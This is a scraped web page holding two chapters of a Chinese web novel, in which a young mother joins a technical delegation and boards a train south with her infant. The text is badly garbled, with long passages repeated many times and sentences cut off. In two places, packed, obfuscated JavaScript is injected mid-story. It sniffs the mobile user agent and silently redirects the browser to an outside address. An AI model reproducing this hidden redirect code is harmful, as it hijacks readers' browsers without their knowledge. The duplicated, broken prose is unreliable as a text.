袁一楠也笑道:“是啊,海棠,陈老是业内的权威,他能这么赏识你,机会难得。加上周副部长在,对于你以后的事业发展,有很大帮助的。” 陆老爷子还是迟疑地问了一句:“小橙子还太小了,去南方会不会水土不服什么的?” 何婉仪笑着说道:“爸,咱们家的小孩子,可不会这样弱,您就别担心了,小橙子皮实着呢。至于小桃子,有妈和你二婶在,你尽管放心去就行,我们家里人都会支持你的。” 陆老爷子想了想,觉得自己可真是糊涂了,这种进步的事,怎么可以阻拦孩子? 正好回娘家的小姑陆思敏也 在,她看出来了,两位嫂子是很支持侄媳妇搞事业的,反而是父亲,似乎想得有些多了。 老人家总是这样,觉得为了事业不管孩子不好。 她不希望家里因为这个事情有矛盾,她看着自家父亲,主动开口。 “爸,你看看你,这是好事儿啊,孩子小怎么了?您当年也没有因为我们小就放弃事业啊!怎么到了孙儿一辈,就要为了孩子放弃?” 这些话,两个嫂子不能说,但是她这个当闺女的说出来,父亲就算心里有些不畅快,也比较容易接受。 被女儿这么一挤兑,陆老爷子老脸上带上了一点羞愧,是啊,他虽然面上看起来是个不错的大家长,但实际上,还是用固有思维考量,觉得海棠是女人,就应该以孩子和家庭为中心。 “呵呵呵,是我想岔了,到底是老了,还用旧思想考虑事情。海棠,你放心去,爷爷以后也支持你。” 陆父说道:“海棠,年轻人有事业心是好事,家里不用你操心。小何跟着你去照顾小橙子,我们都能放心,到时候,给小何和孩子单独开一个房间,这些钱,爸爸给你。” 姜海棠今天听到陆老爷子的话,觉得陆老爷子想的也不无道理,她其实都已经做好了放弃的打算。 但没想到,家里其他人都是支持她的。 尤其是陆小姑,竟然为了自己,反驳了爷爷这个在家里一言九鼎的人。 她冲陆小姑笑一笑,陆小姑也回以一个灿烂明媚的笑容。 在,她看出来了,两位嫂子是很支持侄媳妇搞事业的,反而是父亲,似乎想得有些多了。 老人家总是这样,觉得为了事业不管孩子不好。 她不希望家里因为这个事情有矛盾,她看着自家父亲,主动开口。 “爸,你看看你,这是好事儿啊,孩子小怎么了?您当年也没有因为我们小就放弃事业啊!怎么到了孙儿一辈,就要为了孩子放弃?” 这些话,两个嫂子不能说,但是她这个当闺女的说出来,父亲就算心里有些不畅快,也比较容易接受。 被女儿这么一挤兑,陆老爷子老脸上带上了一点羞愧,是啊,他虽然面上看起来是个不错的大家长,但实际上,还是用固有思维考量,觉得海棠是女人,就应该以孩子和家庭为中心。 “呵呵呵,是我想岔了,到底是老了,还用旧思想考虑事情。海棠,你放心去,爷爷以后也支持你。” 陆父说道:“海棠,年轻人有事业心是好事,家里不用你操心。小何跟着你去照顾小橙子,我们都能放心,到时候,给小何和孩子单独开一个房间,这些钱,爸爸给你。” 姜海棠今天听到陆老爷子的话,觉得陆老爷子想的也不无道理,她其实都已经做好了放弃的打算。 但没想到,家里其他人都是支持她的。 尤其是陆小姑,竟然为了自己,反驳了爷爷这个在家里一言九鼎的人。 她冲陆小姑笑一笑,陆小姑也回以一个灿烂明媚的笑容。 在,她看出来了,两位嫂子是很支持侄媳妇搞事业的,反而是父亲,似乎想得有些多了。 老人家总是这样,觉得为了事业不管孩子不好。 她不希望家里因为这个事情有矛盾,她看着自家父亲,主动开口。 “爸,你看看你,这是好事儿啊,孩子小怎么了?您当年也没有因为我们小就放弃事业啊!怎么到了孙儿一辈,就要为了孩子放弃?” 这些话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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被女儿这么一挤兑,陆老爷子老脸上带上了一点羞愧,是啊,他虽然面上看起来是个不错的大家长,但实际上,还是用固有思维考量,觉得海棠是女人,就应该以孩子和家庭为中心。 “呵呵呵,是我想岔了,到底是老了,还用旧思想考虑事情。海棠,你放心去,爷爷以后也支持你。” 陆父说道:“海棠,年轻人有事业心是好事,家里不用你操心。小何跟着你去照顾小橙子,我们都能放心,到时候,给小何和孩子单独开一个房间,这些钱,爸爸给你。” 姜海棠今天听到陆老爷子的话,觉得陆老爷子想的也不无道理,她其实都已经做好了放弃的打算。 但没想到,家里其他人都是支持她的。 尤其是陆小姑,竟然为了自己,反驳了爷爷这个在家里一言九鼎的人。 她冲陆小姑笑一笑,陆小姑也回以一个灿烂明媚的笑容。 在,她看出来了,两位嫂子是很支持侄媳妇搞事业的,反而是父亲,似乎想得有些多了。 老人家总是这样,觉得为了事业不管孩子不好。 她不希望家里因为这个事情有矛盾,她看着自家父亲,主动开口。 “爸,你看看你,这是好事儿啊,孩子小怎么了?您当年也没有因为我们小就放弃事业啊!怎么到了孙儿一辈,就要为了孩子放弃?” 这些话,两个嫂子不能说,但是她这个当闺女的说出来,父亲就算心里有些不畅快,也比较容易接受。 被女儿这么一挤兑,陆老爷子老脸上带上了一点羞愧,是啊,他虽然面上看起来是个不错的大家长,但实际上,还是用固有思维考量,觉得海棠是女人,就应该以孩子和家庭为中心。 “呵呵呵,是我想岔了,到底是老了,还用旧思想考虑事情。海棠,你放心去,爷爷以后也支持你。” 陆父说道:“海棠,年轻人有事业心是好事,家里不用你操心。小何跟着你去照顾小橙子,我们都能放心,到时候,给小何和孩子单独开一个房间,这些钱,爸爸给你。” 姜海棠今天听到陆老爷子的话,觉得陆老爷子想的也不无道理,她其实都已经做好了放弃的打算。 但没想到,家里其他人都是支持她的。 尤其是陆小姑,竟然为了自己,反驳了爷爷这个在家里一言九鼎的人。 她冲陆小姑笑一笑,陆小姑也回以一个灿烂明媚的笑容。 在,她看出来了,两位嫂子是很支持侄媳妇搞事业的,反而是父亲,似乎想得有些多了。 老人家总是这样,觉得为了事业不管孩子不好。 她不希望家里因为这个事情有矛盾,她看着自家父亲,主动开口。 “爸,你看看你,这是好事儿啊,孩子小怎么了?您当年也没有因为我们小就放弃事业啊!怎么到了孙儿一辈,就要为了孩子放弃?” 这些话,两个嫂子不能说,但是她这个当闺女的说出来,父亲就算心里有些不畅快,也比较容易接受。 被女儿这么一挤兑,陆老爷子老脸上带上了一点羞愧,是啊,他虽然面上看起来是个不错的大家长,但实际上,还是用固有思维考量,觉得海棠是女人,就应该以孩子和家庭为中心。 “呵呵呵,是我想岔了,到底是老了,还用旧思想考虑事情。海棠,你放心去,爷爷以后也支持你。” 陆父说道:“海棠,年轻人有事业心是好事,家里不用你操心。小何跟着你去照顾小橙子,我们都能放心,到时候,给小何和孩子单独开一个房间,这些钱,爸爸给你。” 姜海棠今天听到陆老爷子的话,觉得陆老爷子想的也不无道理,她其实都已经做好了放弃的打算。 但没想到,家里其他人都是支持她的。 尤其是陆小姑,竟然为了自己,反驳了爷爷这个在家里一言九鼎的人。 她冲陆小姑笑一笑,陆小姑也回以一个灿烂明媚的笑容。 第319章 离别 “海棠啊,我今天来本来是有事找你的,既然你要外出,这事儿怕是不成了。等姜海棠的事情定下来,陆小姑才不无遗憾的说道。 姜海棠听到陆小姑这么说,忙问:“小姑,有什么事儿?您说。 “这不是我在出版社工作,最近有一篇小说需要翻译,找来找去也没找到合适的人,我就想到你了,可你要外出学习,估计也就顾不过来了。哎,我们国家这几年荒废下来,能从事翻译的人真是凤**麟角啊。陆小姑将自己今天来的事说了一下。 “什么书?姜海棠好奇的问道。 “我正好带了,你看看,要是能接这个工作,就接下来,也不是很着急,半年之内翻译完就可以,我们是连载,一个月交一次稿子就行。 姜海棠能看出来,小姑姑确实很着急很需要这篇稿子。 她翻了翻书,确实不怎么复杂,要翻译起来还是很快的,最起码比那些文献资料翻译起来要容易得多。 “小姑,我先翻译一点给您送过去,要是你们觉得可以,这事儿我就接下了。 “这一次给的稿费比较高,千字六块钱,还会给一些票据补贴,算是十分优厚的条件了。这本书要是翻译出来,也能有不少收入,虽然小姑也知道,你暂时不缺钱,可谁还能嫌弃钱多呢。陆小姑笑着说。 也就是这本书开出的条件是真的好,要不然,陆小姑也不会专门来找姜海棠。 “多谢小姑想着我,以后这种事小姑可别忘了我,我这个人,就喜欢钱!姜海棠故意活跃气氛说道。 “海棠,你这样会不会太辛苦了? 现在海棠每天都要工作五六个小时了,要是再接下这本书的翻译工作,海棠每天要工作到**个小时了。 “没事的,妈,我觉得我可以。姜海棠微笑着对何婉仪说。 “那行,你要是累了,可要及时给我们说,不能给自己撑着。 何婉仪又叮嘱了一句,还想着,等回头可要给王婶说说,让王婶给海棠做点好的补一补。 家人的支持像一股暖流,驱散了姜海棠心中的些许顾虑。 前方的路或许会有挑战,要平衡家庭和事业也绝非易事,但在这个马上就要万象更新的时代,能有这样的机遇和坚实后盾,她愿意去尝试,去拼搏。 而此时的王家,一地鸡毛。 **勇从姜家离开之后,找了不少人想办法,可是,这时候,谁还能为了不相干的人去得罪姜家和陆家? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 因此,他花出去不少东西和钱,但是并没有见到什么效果。 因为有陆家和姜家一起关注,王家的事情调查得很快,处理得更快。 王雪梅故意伤害罪,情节恶劣,被判处**十五年,送往西北某偏远农场服刑。 她的人生,从她企图将那条下了药的手帕用在姜海棠脸上的那一刻起,就彻底毁了。 此后,大好的岁月,将在农场**度过。 王老爷子虽未直接受到司法处理,但经此一事,声誉扫地,影响力烟消云散,虽然保持了级别待遇,但真正成了“门前冷落鞍马稀的孤寡老人。 随着王老爷子的落寞,王家彻底退出了舞台。 **勇被查出多项工作失职及经济问题,他的这些问题并不是很严重,但因为有人关注,便被放大了许多,被撤销一切职务,调离原单位,安排到一个无足轻重的闲职部门,**生涯宣告终结。 而王家算不得望族,那些依附于王家的人,早就在之前王家被下放的时候,断了关系,因此,王家至此,算是彻底没有翻身的可能了。 这场雷霆般的处置,迅速而彻底,在京城圈子里引起了不小的震动。 所有人都清楚地看到了一个事实,姜家和陆家蛰伏多年,依然不可忽视。 消息传到西北,陆良辰悬着的心终于放了下来,对两位老爷子的果断既感激又敬佩。 他也觉得,自己做得很不够,关键时刻,都没有能够在姜海棠的身边保护姜海棠。 经过这一场风波后,姜海棠的京城生活,真正步入了无人再敢轻易打扰的宁静。 小桃子开学了,和哥哥们一起上学,有几个哥哥照顾,加上小姑娘是个非常聪明开朗的,姜海棠几乎不用操心。 而小橙子开始学翻身、学坐、咿咿呀呀地试图交流,每一个小小的进步都让姜海棠欣喜不已。 她常常抱着他,指着陆良辰的照片,教他喊“爸爸。 这段时间,小何照顾小橙子比较多,姜海棠也挺喜欢这个年轻丧偶的坚强女人,倒是能放心让她跟着自己照顾小橙子。 但姜海棠也没想过因为工作忽略孩子,只要有时间姜海棠更喜欢亲力亲为,给孩子喂奶、换尿布、洗澡、做辅食,乐在其中。 她的生活节奏很快,却有条不紊。 除去陪伴孩子,她努力翻译,看书学习,或是绘制一些机械图纸,总之每天都十分充实。 陆良辰自从回到西北之后,和姜海棠的沟通主要靠信件。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 这个年月,电话虽然有,但长途电话难打而且还贵,十分不划算。 两个人的信件的内容十分琐碎,说的都是一些家长里短的话,诸如: “海棠,儿子乖不乖?有没有闹你?” “棠棠,今天下雪了,京城冷吗?你和孩子多穿点。” “媳妇儿,我想你了,想得睡不着。” “良辰,宝宝已经会翻身了!可惜你没看到……” “陆良辰!你儿子真是太调皮捣蛋了,不知道随了谁!” …… 通过一封封的信件,一行行的字,两人分享着彼此的日常,倾诉着思念,距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16257563|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎也不再那么遥远。 时间在忙碌与期盼中飞逝,姜海棠这段时间也挺忙。 她顺利通过陈老那边的考核,正式成为了项目组的成员,主要负责资料的翻译和初步技术研判。 何婉仪看着小何能将小橙子照顾得妥妥帖帖,也安心了不少,她之前甚至都想过,要是小何表现得不好,她可以请假陪着姜海棠去一趟。 到了出发的这天早上,何婉仪和小何正做着最后的检查。 何婉仪将一个装满奶粉、奶瓶和尿布的网兜递给小何。 “小何,路上多费心,看着点海棠,别让她光顾着工作忘了休息。南方天气热了,但早晚凉,及时给孩子添减衣服,小家伙第一次出门,也不知道适应不适应。” 小何连连点头,语气认真:“阿姨您放心,我都记下了,保证把海棠和小橙子照顾好。” 小何大名叫做何香草,今年三十岁,结婚三年,丈夫意外没了,小何惊惧之下难产,孩子也没了,只剩下她孤零零的一个人。 在乡下,别人说她克夫克子,这几年日子过得很辛苦。 这一次,陆家要找人照顾小橙子,远房姨妈王婶推荐了小何过来,这两个月,小何在陆家过得挺好,也是真心喜欢几个孩子,尤其是小橙子。 陆父和陆良谨正在帮着把行李搬上车,到底是要带着一个奶娃娃出门的,需要带的东西不少。 除了姜海棠装满了书籍和资料的皮箱,还有一个巨大的帆布包,里面全是小橙子的家当,小衣服、小被子、玩具、以及何婉仪硬塞进来的各种常用药和小零食。 陆老爷子看着姜海棠,目光里有关切也有骄傲:“到了地方,听组织安排,工作要做好,但安全第一。遇到难处,就给家里拍电报,打电话也行。” 姜老爷子更是舍不得孙女儿离开,但还是强撑着笑容说:“爷爷在家等着你回来。” “我知道了,爷爷,爸妈,二叔二婶,大哥大嫂,你们也要也多保重身体,小桃子就拜托你们多照顾了。” 小桃子知道妈妈要出远门工作,虽然有些不舍,但小姑娘很坚强,坚强地说自己已经长大了,不是三岁的小屁孩了。 弄得姜海棠十分难过。 “小桃子,妈妈很快就会回来了,等妈妈回来的时候,给你带漂亮的裙子和发夹。” 小桃子点点头。 “妈妈,我会很努力很努力不哭的。” 小丫头并不知道,自己这么说,会让家里的大人们更加难过。 尤其是姜海棠,当场就差点哭出来了,也亏得何婉仪催促,姜海棠才匆匆撒好难上车离开。 时书岚担心小桃子会因为姜海棠带走了小橙子留下她心里有小疙瘩,在姜海棠上车之后,立即亲亲热热的抱着小桃子。 “大伯母悄悄告诉你哦,大伯母啊,终于等到你妈妈离开了,从今天开始,小桃子就是大伯母一个人的宝贝了。” 第320章 火车上 小桃子迷茫地看着大伯母,似乎在询问这话是什么意思。 “你妈妈在的时候,总会和大伯母抢我们最可爱漂亮的小桃子,大伯母抢不过,现在可好了。下午大伯母就带着小桃子去逛百货商店,好不好啊?” 小桃子的心思果然被带偏了,原本心里那点因为妈妈离开的酸涩瞬间被百货商店几个字填满了。 “大伯母,你要带着我去买什么啊?好吃的吗?” “好吃的,还有好玩的,还有漂亮的衣裳发夹好不好?”时书岚笑着问小姑娘的意见。 “可是,这样太花钱了。”小桃子想了好一会儿,才说出这么一句话。 几个人看着懂事的小姑娘,笑得更加灿烂了。 “这个没关系,奶奶有钱,给小桃子花。” 说着,何婉仪就掏出了几张大团结递给小桃子。 袁一楠也拿出几张大团结,同样递给小桃子。 “小桃子觉得,现在够不够?” 小桃子将两个人的钱分别还给两个人。 “妈妈走的时候,给小桃子钱钱了。” 小姑娘说着真的拿出来一个小荷包,用小手手打开,从里面抓出来一把钱。 几个人还有什么不明白的,姜海棠这是担心她不在的时候她们给小桃子花钱呢。 “没事,小桃子的钱可以存起来,我们给小桃子的钱今天花。”何婉仪笑着坚定地说。 姜海棠坐在吉普车上朝着火车站行驶,她怀里抱着裹得严实实的小橙子,小家伙似乎感知到要出远门,睁着乌溜溜的大眼睛,好奇地四处张望,不哭不闹。 小何在看着小家伙这样,好笑的说道:“真是个聪明的孩子,这是知道要出门,看看高兴的。” “小橙子乖,咱们要跟妈妈去南方出差咯,看看不一样的地方。”姜海棠笑着轻声细语地哄着儿子。 很快三人就到了火车站,此时,小组里其他几个人也到了。 此次技术交流小组由陈老先生担任顾问,成员除了姜海棠,还有云志浩、张建国、李兴海三位经验丰富的技术专家,以及一名负责协调联络的年轻干事小赵。 陈老看到姜海棠的时候,脸上都快露出花儿了。 但是其他几个人看到姜海棠竟然拖家带口的过来,心里并不是很赞成。 李兴海小声嘀咕说:“女人家家,不留在家里奶孩子,偏要跟着我们跑!” 张建国在一旁小声地回应:“可不是,男人就该在家相夫教子,出来和男人争长短! ” 两个人的声音虽低,但在略显嘈杂的站台上还是隐约传到了附近几人的耳中。 云志浩微微点头,显然也是觉得一个女人带着孩子出门参加交流小组没有太大的必要。 陈老先生眉头几不可见地蹙了一下,但并未立即发作。 姜海棠也听到了,但她面色如常,仿佛什么都没听见。 只是,她抱着小橙子的手微微紧了紧。 “陈老,李工、张工、云工,赵同志,你们好,我们来晚了。”姜海棠落落大方地打招呼,语气不卑不亢。 陈老笑着点头:“不晚不晚,正好。这就是小橙子吧?看着就机灵!” 这话倒不是恭维的话,而是事实,小橙子这个孩子虽然才不到半岁,但是看着非常机灵。 他逗弄了一下孩子,然后看向小何,“这位就是帮忙照顾孩子的同志吧?一路上要辛苦你了。” 小何哪里想过,这样大的领导会跟自己一个小人物这样和颜悦色的说话。她忙略显局促的说:“陈老您好,各位同志好,我叫何香草。” 李兴海见陈老这个态度,也不好再说什么,只是脸色依旧不太好看,敷衍地点了下头。 张建国和云志浩态度比李兴海稍微好一点,但眼神中也带着审视和疑虑。 干事小赵则热情地帮忙接过小何手里的一部分行李。 开玩笑,之前领导就重点关照过了,让自己要帮忙给照顾好姜海棠和孩子。 他才不用管其他几个人的态度,做好自己就行了。 登上了火车,安排的是硬卧包厢,条件比姜海棠预想的要好一些。 陈老、姜海棠母子和小何在一个包厢,另外三位工程师和小赵在隔壁包厢。 姜海棠看着这样的铺位,不由微微蹙眉。 “陈老,我还是换个位置吧,去花城要几天时间,我担心小孩子哭闹,打扰您休息。” “陈老,我和您换位置吧,我年轻,不妨事。”小赵显然也想到了这个问题,因此也劝说陈老。 陈老摆摆手说:“人老了,觉少了,不妨碍的。” 刚才,那几个人的态度,他可是看得清清楚楚,要是他这会儿换个位置,回头,海棠在这个组里肯定要被挤兑。 没想到,这几个看着还不错的人,竟然是这样刚愎自用的人,这样的性格,可走不长久。 自然,这些话,陈老没打算对他们说,他等着看姜海棠用专业知识打脸这几个人。 姜海棠有这个实力,虽然只是和 姜海棠短暂的说过话,但姜海棠在纺织机械领域的理解和创新能力,比他还要高上许多,那几个人根本不是对手。 而这时候,小橙子应该是饿了,哼哼唧唧的。 小何在这时候,展现出她的能干利落,迅速冲好奶粉,抱着小橙子开始喂小橙子吃奶。 等小橙子吃饱之后,又抱着小橙子去卫生间把尿。 整个过程有条不紊,几乎没发出什么大动静。 陈老便看出来了,姜海棠带着孩子,是有充足准备的。 小橙子吃饱喝足,又解决了生理需求,此刻正精神头十足。 他被妈妈抱在怀里,乌溜溜的大眼睛像两颗黑葡萄,好奇地打量着包厢里的一切。晃动的窗帘、头顶的灯光、还有对面那位笑眯眯看着自己的白胡子爷爷。 也不知道小橙子想到了什么,开始哼哼唧唧地和陈老说话。 陈老听不懂小家伙说的什么,但不妨碍越看越喜欢,忍不住伸出手指,轻轻碰了碰小橙子软乎乎的小手。 小家伙非但没躲,反而一把抓住了陈老的手指,紧紧攥住,还更加努力地咿咿呀呀地发出意义不明的声音,像是在打招呼。 “哎呦,小家伙劲儿还不小!”陈老惊喜地笑道,脸上的皱纹都舒展开了,“这是在跟爷爷说话呢?” 姜海棠也笑了:“陈老,他这是喜欢您呢。” 小橙子似乎听懂了妈妈的夸奖,更加起劲地挥舞着小手小脚,嘴里“啊呜啊呜”地说得更欢快了,还冲着陈老露出了一个无齿的笑容,可爱得让人心都化了。 陈老被逗得开怀大笑,连日来的旅途疲惫似乎都一扫而空。 他索性从随身包里拿出一个干净的钥匙扣,上面有个小小的、磨得光滑的红色塑料五角星,在小橙子面前轻轻晃动。 小橙子的视线立刻被吸引住了,眼睛跟着五角星转来转去,伸出小手想要去抓,嘴里发出急切的“嗯嗯”声。 这一老一小的互动,温馨又有趣,让整个包厢的气氛都变得轻松愉快起来。 连原本因为带着孩子有些忐忑的小何,也放松地笑了。 之前她已经锻炼过很久了,就担心孩子上车之后不适应会哭闹,毕竟,小橙子再怎么情绪稳定,也只是个孩子。 这边几个人玩的开心,隔壁包厢的几个人躺在铺位上有些无聊。 听着这边热闹的声音,李兴海翻身起床,没忍住溜达了过来,靠在门框上,正好看到陈老逗孩子这一幕。 他撇撇嘴,看似随意地说:“ 陈老,您还挺有闲心哄孩子。” 语气里的那点不以为然,还是能听出来。 陈老还没说话,小橙子似乎感觉到了什么,忽然扭过头,看向门口的李兴海。 小家伙眨巴着大眼睛,盯着李兴海看了几秒,然后……毫无预兆地,小嘴一瘪,“哇”的一声哭了起来,还把头埋进了妈妈怀里,好像被吓到了一样。 李兴海:“……” 他顿时尴尬地僵在原地,脸都涨红了。 他啥也没干啊!这臭小子什么意思? 姜海棠连忙轻轻拍着儿子的背安抚:“哦哦,小橙子不哭不哭,李伯伯不是坏人……” 陈老忍着笑,打趣道:“兴海啊,你看你,长得太严肃,把孩子都吓哭了。” 这话当然是哄人的,陆家的几位,脸一个比一个严肃,这小家伙估计都看习惯了,唯一的可能就是,这小家伙不喜欢李兴海。 果然是陆家的娃,贼精贼精的! 李兴海窘迫,进也不是退也不是,嘟囔了一句:“我……我长得有那么吓人吗?” 他自认虽然不算英俊,但也是堂堂正正的相貌,怎么就把孩子吓哭了? 为了不让小橙子继续哭,李兴海只能努力挤出一抹自觉比较和蔼的笑容来。 这时,张建国和云志浩听到动静也过来看热闹,见到李兴海这吃瘪的样子,都忍不住偷笑。 小橙子哭了几声,在妈妈的安抚下渐渐止住了哭声,但还时不时抽噎一下,偶尔怯生生地瞄一眼李兴海,那小模样委屈极了。 李兴海被这小眼神看得,那点不满和尴尬倒是散了不少,反而生出点莫名其妙的愧疚感来。 他觉得自己这么大一个人,把人家孩子给搞哭了,感觉有点欺负人。 他摸了摸鼻子,难得放软了语气:“咳……那什么……我没想吓他。” 小赵机灵,赶紧打圆场:“李工,小孩儿认生,正常的正常的。小橙子,看赵叔叔这里,叔叔给你变个魔术!” 接下来一个多月的时间,大家都是要在一起打交道的,关系可不能弄僵了。 说着他笨拙地做了个鬼脸,想逗孩子笑。 小橙子看着小赵奇怪的表情,愣了几秒,然后……“咯咯咯”地笑了起来,还挥舞着小手,似乎觉得很有趣。 这下对比更明显了。 李兴海的脸更黑了,合着就他吓人? 到底是谁欺负谁啊! 陈老,您还挺有闲心哄孩子。” 语气里的那点不以为然,还是能听出来。 陈老还没说话,小橙子似乎感觉到了什么,忽然扭过头,看向门口的李兴海。 小家伙眨巴着大眼睛,盯着李兴海看了几秒,然后……毫无预兆地,小嘴一瘪,“哇”的一声哭了起来,还把头埋进了妈妈怀里,好像被吓到了一样。 李兴海:“……” 他顿时尴尬地僵在原地,脸都涨红了。 他啥也没干啊!这臭小子什么意思? 姜海棠连忙轻轻拍着儿子的背安抚:“哦哦,小橙子不哭不哭,李伯伯不是坏人……” 陈老忍着笑,打趣道:“兴海啊,你看你,长得太严肃,把孩子都吓哭了。” 这话当然是哄人的,陆家的几位,脸一个比一个严肃,这小家伙估计都看习惯了,唯一的可能就是,这小家伙不喜欢李兴海。 果然是陆家的娃,贼精贼精的! 李兴海窘迫,进也不是退也不是,嘟囔了一句:“我……我长得有那么吓人吗?” 他自认虽然不算英俊,但也是堂堂正正的相貌,怎么就把孩子吓哭了? 为了不让小橙子继续哭,李兴海只能努力挤出一抹自觉比较和蔼的笑容来。 这时,张建国和云志浩听到动静也过来看热闹,见到李兴海这吃瘪的样子,都忍不住偷笑。 小橙子哭了几声,在妈妈的安抚下渐渐止住了哭声,但还时不时抽噎一下,偶尔怯生生地瞄一眼李兴海,那小模样委屈极了。 李兴海被这小眼神看得,那点不满和尴尬倒是散了不少,反而生出点莫名其妙的愧疚感来。 他觉得自己这么大一个人,把人家孩子给搞哭了,感觉有点欺负人。 他摸了摸鼻子,难得放软了语气:“咳……那什么……我没想吓他。” 小赵机灵,赶紧打圆场:“李工,小孩儿认生,正常的正常的。小橙子,看赵叔叔这里,叔叔给你变个魔术!” 接下来一个多月的时间,大家都是要在一起打交道的,关系可不能弄僵了。 说着他笨拙地做了个鬼脸,想逗孩子笑。 小橙子看着小赵奇怪的表情,愣了几秒,然后……“咯咯咯”地笑了起来,还挥舞着小手,似乎觉得很有趣。 这下对比更明显了。 李兴海的脸更黑了,合着就他吓人? 到底是谁欺负谁啊! 陈老,您还挺有闲心哄孩子。” 语气里的那点不以为然,还是能听出来。 陈老还没说话,小橙子似乎感觉到了什么,忽然扭过头,看向门口的李兴海。 小家伙眨巴着大眼睛,盯着李兴海看了几秒,然后……毫无预兆地,小嘴一瘪,“哇”的一声哭了起来,还把头埋进了妈妈怀里,好像被吓到了一样。 李兴海:“……” 他顿时尴尬地僵在原地,脸都涨红了。 他啥也没干啊!这臭小子什么意思? 姜海棠连忙轻轻拍着儿子的背安抚:“哦哦,小橙子不哭不哭,李伯伯不是坏人……” 陈老忍着笑,打趣道:“兴海啊,你看你,长得太严肃,把孩子都吓哭了。” 这话当然是哄人的,陆家的几位,脸一个比一个严肃,这小家伙估计都看习惯了,唯一的可能就是,这小家伙不喜欢李兴海。 果然是陆家的娃,贼精贼精的! 李兴海窘迫,进也不是退也不是,嘟囔了一句:“我……我长得有那么吓人吗?” 他自认虽然不算英俊,但也是堂堂正正的相貌,怎么就把孩子吓哭了? 为了不让小橙子继续哭,李兴海只能努力挤出一抹自觉比较和蔼的笑容来。 这时,张建国和云志浩听到动静也过来看热闹,见到李兴海这吃瘪的样子,都忍不住偷笑。 小橙子哭了几声,在妈妈的安抚下渐渐止住了哭声,但还时不时抽噎一下,偶尔怯生生地瞄一眼李兴海,那小模样委屈极了。 李兴海被这小眼神看得,那点不满和尴尬倒是散了不少,反而生出点莫名其妙的愧疚感来。 他觉得自己这么大一个人,把人家孩子给搞哭了,感觉有点欺负人。 他摸了摸鼻子,难得放软了语气:“咳……那什么……我没想吓他。” 小赵机灵,赶紧打圆场:“李工,小孩儿认生,正常的正常的。小橙子,看赵叔叔这里,叔叔给你变个魔术!” 接下来一个多月的时间,大家都是要在一起打交道的,关系可不能弄僵了。 说着他笨拙地做了个鬼脸,想逗孩子笑。 小橙子看着小赵奇怪的表情,愣了几秒,然后……“咯咯咯”地笑了起来,还挥舞着小手,似乎觉得很有趣。 这下对比更明显了。 李兴海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16257564|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸更黑了,合着就他吓人? 到底是谁欺负谁啊! 陈老,您还挺有闲心哄孩子。” 语气里的那点不以为然,还是能听出来。 陈老还没说话,小橙子似乎感觉到了什么,忽然扭过头,看向门口的李兴海。 小家伙眨巴着大眼睛,盯着李兴海看了几秒,然后……毫无预兆地,小嘴一瘪,“哇”的一声哭了起来,还把头埋进了妈妈怀里,好像被吓到了一样。 李兴海:“……” 他顿时尴尬地僵在原地,脸都涨红了。 他啥也没干啊!这臭小子什么意思? 姜海棠连忙轻轻拍着儿子的背安抚:“哦哦,小橙子不哭不哭,李伯伯不是坏人……” 陈老忍着笑,打趣道:“兴海啊,你看你,长得太严肃,把孩子都吓哭了。” 这话当然是哄人的,陆家的几位,脸一个比一个严肃,这小家伙估计都看习惯了,唯一的可能就是,这小家伙不喜欢李兴海。 果然是陆家的娃,贼精贼精的! 李兴海窘迫,进也不是退也不是,嘟囔了一句:“我……我长得有那么吓人吗?” 他自认虽然不算英俊,但也是堂堂正正的相貌,怎么就把孩子吓哭了? 为了不让小橙子继续哭,李兴海只能努力挤出一抹自觉比较和蔼的笑容来。 这时,张建国和云志浩听到动静也过来看热闹,见到李兴海这吃瘪的样子,都忍不住偷笑。 小橙子哭了几声,在妈妈的安抚下渐渐止住了哭声,但还时不时抽噎一下,偶尔怯生生地瞄一眼李兴海,那小模样委屈极了。 李兴海被这小眼神看得,那点不满和尴尬倒是散了不少,反而生出点莫名其妙的愧疚感来。 他觉得自己这么大一个人,把人家孩子给搞哭了,感觉有点欺负人。 他摸了摸鼻子,难得放软了语气:“咳……那什么……我没想吓他。” 小赵机灵,赶紧打圆场:“李工,小孩儿认生,正常的正常的。小橙子,看赵叔叔这里,叔叔给你变个魔术!” 接下来一个多月的时间,大家都是要在一起打交道的,关系可不能弄僵了。 说着他笨拙地做了个鬼脸,想逗孩子笑。 小橙子看着小赵奇怪的表情,愣了几秒,然后……“咯咯咯”地笑了起来,还挥舞着小手,似乎觉得很有趣。 这下对比更明显了。 李兴海的脸更黑了,合着就他吓人? 到底是谁欺负谁啊! 陈老,您还挺有闲心哄孩子。” 语气里的那点不以为然,还是能听出来。 陈老还没说话,小橙子似乎感觉到了什么,忽然扭过头,看向门口的李兴海。 小家伙眨巴着大眼睛,盯着李兴海看了几秒,然后……毫无预兆地,小嘴一瘪,“哇”的一声哭了起来,还把头埋进了妈妈怀里,好像被吓到了一样。 李兴海:“……” 他顿时尴尬地僵在原地,脸都涨红了。 他啥也没干啊!这臭小子什么意思? 